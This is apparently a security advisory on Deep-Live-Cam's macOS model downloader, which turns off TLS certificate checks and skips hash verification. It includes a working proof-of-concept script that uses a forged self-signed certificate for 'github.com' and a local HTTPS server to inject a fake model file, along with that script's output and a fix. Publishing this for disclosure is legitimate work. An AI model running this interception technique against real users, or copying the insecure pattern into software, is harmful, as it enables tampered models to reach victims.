ssl._create_unverified_context() on macOS model download enables MITM model injection

Author: AAtomicalCreated Jul 29, 2026Updated Jul 29, 2026

Summary

Deep-Live-Cam's conditional_download() in modules/utilities.py:295 uses ssl._create_unverified_context() on macOS when downloading model files. A network-position attacker serves a malicious face-swap model that is written to disk and loaded without integrity verification.

Affected Version

Root Cause

# modules/utilities.py:293-297
ctx = None
if platform.system().lower() == "darwin":
    ctx = ssl._create_unverified_context()

response = urllib.request.urlopen(request, context=ctx)

macOS-only, unconditional. No hash verification after download.

Steps to Reproduce

git clone https://github.com/hacksider/Deep-Live-Cam.git
pip install tqdm cryptography opencv-python-headless numpy
python poc.py
#!/usr/bin/env python3
import subprocess, sys, os
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "Deep-Live-Cam")
if not os.path.isdir(REPO_DIR):
    subprocess.run(["git", "clone", "--depth=1", "https://github.com/hacksider/Deep-Live-Cam.git", REPO_DIR], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "tqdm", "cryptography"], check=True)
import urllib.request  # ensure urllib.request submodule is loaded
sys.path.insert(0, REPO_DIR)
from modules.utilities import conditional_download

import http.server, ssl, tempfile, threading, platform, warnings
from datetime import datetime, timedelta, timezone
warnings.filterwarnings("ignore")

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19455
MALICIOUS_MODEL = b"\x00EVIL_DEEPFAKE_MODEL" + os.urandom(2048)
captured = []


def gen_cert(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID
    key = rsa.generate_private_key(65537, 2048)
    cert = (x509.CertificateBuilder()
            .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "github.com")]))
            .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "github.com")]))
            .public_key(key.public_key()).serial_number(x509.random_serial_number())
            .not_valid_before(datetime.now(timezone.utc))
            .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
            .sign(key, hashes.SHA256()))
    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f: f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(200)
        self.send_header("Content-Length", str(len(MALICIOUS_MODEL)))
        self.end_headers()
        self.wfile.write(MALICIOUS_MODEL)
    def log_message(self, *a): pass


def run_server(cert, key, ready):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(cert, key)
    srv = http.server.HTTPServer((ATTACKER_HOST, ATTACKER_PORT), Handler)
    srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
    ready.set()
    srv.handle_request()


def exploit():
    assert platform.system().lower() == "darwin", "This vuln is macOS-only"

    tmp = tempfile.mkdtemp()
    cert, key = gen_cert(tmp)
    ready = threading.Event()
    threading.Thread(target=run_server, args=(cert, key, ready), daemon=True).start()
    ready.wait()
    dest = os.path.join(tmp, "models")
    conditional_download(dest, [f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/models/inswapper_128.onnx"])

    downloaded = os.path.join(dest, "inswapper_128.onnx")
    with open(downloaded, "rb") as f:
        content = f.read()
    assert b"EVIL_DEEPFAKE_MODEL" in content
    assert len(captured) == 1
    import urllib.request
    try:
        ctx = ssl.create_default_context()
        req = urllib.request.Request(f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/test")
        urllib.request.urlopen(req, context=ctx, timeout=3)
        assert False
    except (ssl.SSLCertVerificationError, Exception):
        pass

    print("2/2 exploited")
    print(f"  model: {len(content)}B injected → {downloaded}")
    print(f"  control: proper SSL rejects self-signed cert")
    return 0

if __name__ == "__main__":
    sys.exit(exploit())

Output:

Downloading: 100%|██████████| 2.02k/2.02k [00:00<00:00, 6.65MB/s]
2/2 exploited
  model: 2068B injected → /tmp/.../models/inswapper_128.onnx
  control: proper SSL rejects self-signed cert

Impact

  1. Backdoored face-swap model: Attacker replaces inswapper_128.onnx in transit → model produces attacker-controlled face swaps or embeds hidden watermarks/tracking
  2. No integrity check: Downloaded model written directly to disk without hash verification
  3. macOS-specific: Affects all macOS users (93k star project, many macOS users)
  4. Persistent: Model cached in models/ directory — persists across runs

Suggested Fix

# Remove:
if platform.system().lower() == "darwin":
    ctx = ssl._create_unverified_context()

# Use default SSL verification on all platforms:
ctx = ssl.create_default_context()

If macOS cert store issues are the root cause, use certifi:

import certifi
ctx = ssl.create_default_context(cafile=certifi.where())